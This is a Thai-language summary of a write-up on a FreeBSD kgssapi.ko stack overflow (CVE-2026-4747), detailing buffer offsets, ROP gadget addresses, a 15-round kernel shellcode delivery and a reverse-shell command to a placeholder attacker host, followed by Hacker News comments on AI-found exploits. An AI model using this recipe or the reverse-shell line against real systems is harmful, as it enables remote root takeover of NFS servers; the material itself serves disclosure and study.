เข้าถึง root shell ผ่านช่องโหว่ Remote Kernel RCE ของ FreeBSD (CVE-2026-4747)
(github.com/califio)- ใน โมดูล kgssapi.ko ของ FreeBSD เกิด ช่องโหว่ stack buffer overflow ระหว่างการประมวลผลการยืนยันตัวตน RPCSEC_GSS ทำให้สามารถรันโค้ดจากระยะไกลได้
- ฟังก์ชัน
svc_rpc_gss_validate()คัดลอกข้อมูล credential โดยไม่มีการตรวจสอบขอบเขต ทำให้เขียนทับไปถึง return address - ผู้โจมตีสามารถใช้ Kerberos ticket ที่ถูกต้อง เพื่อฉีด kernel ROP chain ผ่านเส้นทาง RPCSEC_GSS ของเซิร์ฟเวอร์ NFS
- ผ่านการ overflow แบบ 15 ขั้น ผู้โจมตีสามารถ เขียน shellcode ขนาด 432 ไบต์ลงในพื้นที่ kernel BSS แล้วสั่งรัน เพื่อสร้าง reverse shell ที่มีสิทธิ์ root
- FreeBSD บางเวอร์ชันในช่วง 13.5~15.0 ได้รับผลกระทบ และแพตช์ได้เพิ่ม ตรรกะตรวจสอบ
oa_length
CVE-2026-4747 — Stack Buffer Overflow ใน RPCSEC_GSS ของ FreeBSD kgssapi.ko
- ช่องโหว่ stack buffer overflow ที่เกิดขึ้นระหว่างการประมวลผลการยืนยันตัวตน RPCSEC_GSS ใน โมดูล kgssapi.ko ของ FreeBSD
- ฟังก์ชัน
svc_rpc_gss_validate()จะประกอบ RPC header ใหม่ลงใน stack buffer ขนาด 128 ไบต์ โดย คัดลอกข้อมูล credential โดยไม่มีการตรวจสอบขอบเขตของoa_length - หลังจากส่วน header คงที่ 32 ไบต์ credential ที่เกินจาก 96 ไบต์ที่เหลือจะ เขียนทับตัวแปรภายใน, register ที่บันทึกไว้ และ return address
- FreeBSD เวอร์ชัน 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) ได้รับผลกระทบ
- ในแพตช์ได้มีการเพิ่มเงื่อนไขเพื่อตรวจสอบก่อนคัดลอกว่า
oa_lengthเกินขนาดบัฟเฟอร์หรือไม่
โครงสร้างของการ overflow และผลกระทบ
- จากการวิเคราะห์ function prologue พบว่าอาร์เรย์
rpchdrอยู่ที่[rbp-0xc0]และจุดเริ่มต้นของการคัดลอกอยู่ที่[rbp-0xa0] - หลังจาก 96 ไบต์ จะเริ่มเขียนทับ RBX, R12~R15, RBP และ return address ตามลำดับ
- ในการโจมตีจริง เนื่องจากมี GSS header และ context handle ขนาด 16 ไบต์ return address จึงอยู่ที่ไบต์ที่ 200 ของ credential body
- โค้ดที่มีช่องโหว่นี้เข้าถึงได้เฉพาะผ่านเส้นทางการยืนยันตัวตน RPCSEC_GSS ของเซิร์ฟเวอร์ NFS เท่านั้น
- ผู้โจมตีต้องเป็นผู้ใช้ที่มี Kerberos ticket ที่ถูกต้อง และทำให้เกิด overflow ในขั้นตอนการยืนยันตัวตน RPCSEC_GSS (DATA procedure)
การจัดสภาพแวดล้อมสำหรับการโจมตี
- VM เป้าหมาย: FreeBSD 14.4-RELEASE amd64, เปิดใช้งานเซิร์ฟเวอร์ NFS, โหลด
kgssapi.ko, และรัน MIT Kerberos KDC - โฮสต์ผู้โจมตี: Linux, ติดตั้งโมดูล Python3
gssapiและ MIT Kerberos client, และเข้าถึง NFS (2049/TCP) กับ KDC (88/TCP) ได้ - สามารถตั้งค่าได้ในสภาพแวดล้อม hypervisor หลายแบบ เช่น QEMU, VMware, VirtualBox, bhyve
- ระหว่างตั้งค่า Kerberos จำเป็นต้องกำหนด
rdns=falseและdns_canonicalize_hostname=falseในkrb5.conf - ชื่อโฮสต์ (
test) และ service principal (nfs/test@TEST.LOCAL) ระหว่าง VM กับฝั่งผู้โจมตีต้องตรงกัน
โครงสร้างของ exploit สำหรับ Remote Kernel Code Execution (RCE)
- การโจมตีประกอบด้วย multi-stage overflow 15 รอบ
- ในแต่ละรอบจะสร้าง Kerberos GSS context ใหม่
- ส่งแพ็กเก็ต RPCSEC_GSS DATA ที่มีขนาดเกินกำหนด
- เขียนทับ return address ด้วย ROP gadget เพื่อเขียนข้อมูลลงในหน่วยความจำเคอร์เนลหรือรัน shellcode
- เรียก
kthread_exit()เพื่อจบ NFS thread อย่างปกติ
- แต่ละรอบใช้ ROP chain ราว 200 ไบต์ และ ส่ง shellcode รวม 432 ไบต์ตลอด 15 รอบ
- FreeBSD จะสร้าง NFS thread จำนวน 8 ตัวต่อ CPU ดังนั้นจึงต้องมีอย่างน้อย 2 CPU (16 threads)
องค์ประกอบของ ROP chain
- ROP gadget หลัก:
pop rdi; ret(K+0x1adcda)pop rsi; ret(K+0x1cdf98)pop rdx; ret(K+0x5fa429)pop rax; ret(K+0x400cb4)mov [rdi], rax; ret(0xffffffff80e3457c) — เขียนหน่วยความจำเคอร์เนลแบบ任意 8 ไบต์
- รอบ 1: เรียก
pmap_change_prot()เพื่อเปลี่ยนพื้นที่ kernel BSS ให้เป็น RWX - รอบ 2–14: ใช้ gadget
mov [rdi], raxเพื่อเขียน shellcode ลง BSS ครั้งละ 32 ไบต์ - รอบ 15: เขียน 16 ไบต์สุดท้ายแล้วกระโดดไปยัง entry point ของ shellcode
การทำงานของ shellcode
- รันใน kernel mode (CPL 0) และ สร้าง reverse shell process ที่มีสิทธิ์ root
- เนื่องจากไม่สามารถเรียก
execve()ได้โดยตรงจาก NFS kernel thread จึงใช้โครงสร้าง 2 ขั้น- ฟังก์ชัน Entry: สร้าง kernel process ใหม่ผ่าน
kproc_create()แล้วจบการทำงาน - ฟังก์ชัน Worker: รัน
/bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"
- ฟังก์ชัน Entry: สร้าง kernel process ใหม่ผ่าน
- มีการรีเซ็ตรีจิสเตอร์
DR7เพื่อหลีกเลี่ยง debug exception - ล้างค่าแฟลก
P_KPROCเพื่อให้fork_exit()เดินไปตามเส้นทางuserretแทนkthread_exit() - ผลลัพธ์คือ
/bin/shจะรันใน user mode ด้วยสิทธิ์ uid 0(root)
กระบวนการแก้ปัญหาหลัก
- register offset ไม่ตรงกัน: ยืนยันว่า RIP offset จริงอยู่ที่ 200 ไบต์ด้วยแพตเทิร์น De Bruijn
- MIT–Heimdal GSS ไม่เข้ากัน: แก้ปัญหาการ normalize ชื่อโฮสต์ด้วยการตั้งค่า
krb5.conf - การสืบทอด debug register: ป้องกันข้อยกเว้น
trap 1ด้วยการรีเซ็ตDR7 - ข้อจำกัด 400 ไบต์: ใช้ชุด
pop rdi + pop rax + mov [rdi], raxเพื่อส่งข้อมูลแบบเสถียรครั้งละ 8 ไบต์ - การใช้ NFS thread หมด: แต่ละรอบจะจบ 1 thread → ต้องมีอย่างน้อย 2 CPU
สรุปขั้นตอนการทำงานของ exploit ขั้นสุดท้าย
- ผู้โจมตีขอรับ Kerberos ticket แล้วส่งแพ็กเก็ต overflow ของ RPCSEC_GSS จำนวน 15 ชุดตามลำดับ
- รอบ 1: ตั้งค่า BSS เป็น RWX
- รอบ 2–14: เขียน shellcode 416 ไบต์
- รอบ 15: เขียน 16 ไบต์สุดท้ายและรัน shellcode
- shellcode จะสร้าง process ใหม่ด้วย
kproc_create()และรัน/bin/sh - ผู้โจมตีจะได้ root shell ผ่านเซสชัน
nc - กระบวนการทั้งหมดใช้เวลาราว 45 วินาที และเสร็จสิ้นด้วย RPC packet ทั้งหมด 15 ชุด
1 ความคิดเห็น
ความเห็นจาก Hacker News
ประเด็นสำคัญคือ Claude ไม่ได้ค้นพบบั๊กด้วยตัวเองโดยตรง แต่รับ รายงาน CVE ที่เผยแพร่แล้วมา แล้วเขียนโปรแกรมเพื่อโจมตีช่องโหว่นั้น
แต่เมื่อดูจากความเร็วของพัฒนาการในตอนนี้ ก็คงอีกไม่นานก่อนที่โมเดลอย่าง Claude จะสามารถวิเคราะห์ซอร์สโค้ดของเคอร์เนลหรือบริการสำคัญ และค้นหา CVE ใหม่โดยอัตโนมัติ ผ่านการทดลองซ้ำๆ ใน VM
เมื่อก่อนต้นทุนในการหา CVE สูงมาก จึงมีแค่ผู้โจมตีที่หวังผลประโยชน์ทางการเงินเท่านั้นที่พยายามทำ
ตอนนี้ต้นทุนต่ำลงแล้ว ทำให้นักวิจัยที่มีเจตนาดีก็ค้นพบได้ง่ายขึ้น และเกิด สภาพแวดล้อมที่สามารถแพตช์ได้ ก่อนจะถูกนำไปใช้โจมตี
แต่ตอนนี้โมเดลอย่าง Claude Code ดูน่าจะสามารถวิเคราะห์ codebase แล้วเสนอได้ว่าควร fuzz test ตรงไหนและอย่างไร รวมถึงตรวจสอบ crash และเรียนรู้ซ้ำไปเรื่อยๆ จนค้นพบ CVE ได้
Nicholas Carlini ค้นพบมันโดยใช้ Claude ที่ Anthropic และจากผลนั้นจึงมีการเขียนรายงาน CVE ขึ้นมา
LLM ค่อนข้างเหมาะกับ fuzzing แบบอัตโนมัติ ลักษณะนี้
Claude ค้นหา CVE ได้ถึงระดับผู้เชี่ยวชาญแล้วในตอนนี้
บริษัท Calif ของ Thai Duong ได้โพสต์ บทความบล็อก ที่สรุปกรณีนี้ไว้
มี prompt ที่ใช้รวมอยู่ด้วย และบั๊กนี้ก็เป็นสิ่งที่ Claude ค้นพบผ่าน Nicholas Carlini เช่นกัน
FreeBSD 14.x ไม่มี KASLR (การสุ่มพื้นที่แอดเดรสของเคอร์เนล) หรือ stack canary จึงทำให้โจมตีได้ง่าย
เลยสงสัยว่าใน FreeBSD 15.x จะมีการปรับปรุงเรื่องนี้หรือไม่
ทั้งนี้ NetBSD มี ฟีเจอร์ KASLR อยู่แล้ว
ตรวจสอบได้ด้วย
sysctl kern.elf64.aslr.enable: 1ตาม โพสต์ในฟอรัมที่เกี่ยวข้อง มีความเห็นว่า KASLR ให้เพียงความรู้สึกว่าปลอดภัย แต่เพิ่มความปลอดภัยจริงได้เพียงเล็กน้อย
ถ้าดูการนำเสนอ “Black-Hat LLMs” ที่เพิ่งเผยแพร่ จะเห็นว่า LLM กำลังเก่งขึ้นเรื่อยๆ ในการค้นหาช่องโหว่และการทำ exploit
มีสัญญาณมาตั้งแต่ตอนที่ Sam Altman โพสต์ ทวีต เมื่อเดือนธันวาคมปีที่แล้วว่าเขากำลังรับสมัคร Head of Preparedness
สิ่งที่ยากที่สุดคือการ ค้นหาช่องโหว่ ไม่ใช่การแก้ไข
นักวิจัยด้านความปลอดภัยส่วนใหญ่ไม่เปิดเผยช่องโหว่เพราะเหตุผลทางการเงิน
ดังนั้นหากสามารถตรวจจับแบบอัตโนมัติได้ แม้จะมีความเสี่ยง แต่ ในระยะยาวจะให้ประโยชน์มหาศาล
ไม่เช่นนั้นมันอาจกลายเป็นภาระอีกอย่างให้กับนักพัฒนาโอเพนซอร์ส
คล้ายกับกรณี ข้อถกเถียงเรื่อง security patch ระหว่าง Google กับ FFmpeg ในอดีต
ขอบคุณที่แชร์ ชุด prompt ที่เผยแพร่สู่สาธารณะ
สำหรับทีมพัฒนา ระบบอัตโนมัติแบบนี้อาจเป็น การประหยัดเวลา แต่สำหรับผู้ใช้ทั่วไปอาจไม่ได้มีคุณค่ามากนัก
ทุกวันนี้บั๊กระดับเคอร์เนลก็ไม่ได้ถูกค้นหาด้วยมืออยู่แล้ว
ถึงอย่างนั้นที่คนพูดถึงแต่ Claude ก็คงเป็นเพราะ ผลด้านการประชาสัมพันธ์ของ Anthropic มากกว่า
ตอนนี้สิ่งที่ควรโฟกัสไม่ใช่แค่ข้อเท็จจริงว่า “Claude เขียนโค้ดได้” แต่คือ คุณภาพและความสามารถในการบำรุงรักษา ของโค้ดนั้นเป็นอย่างไร
อยากรู้ว่าโค้ดที่ Claude เขียนนั้นมีโครงสร้างที่ ดูแลรักษาได้จริง หรือแค่เละเทะ
กรณีแบบนี้แสดงให้เห็นถึง ความเป็นอิสระและพลังของเอเจนต์
ขณะเดียวกันก็เป็นตัวอย่างที่สะท้อน ความกังวลเรื่องการควบคุมและความจำเป็นของ governance ที่องค์กรต่างๆ รู้สึกอยู่
น่าสนใจที่สามารถดูประวัติ prompt ทั้งหมดได้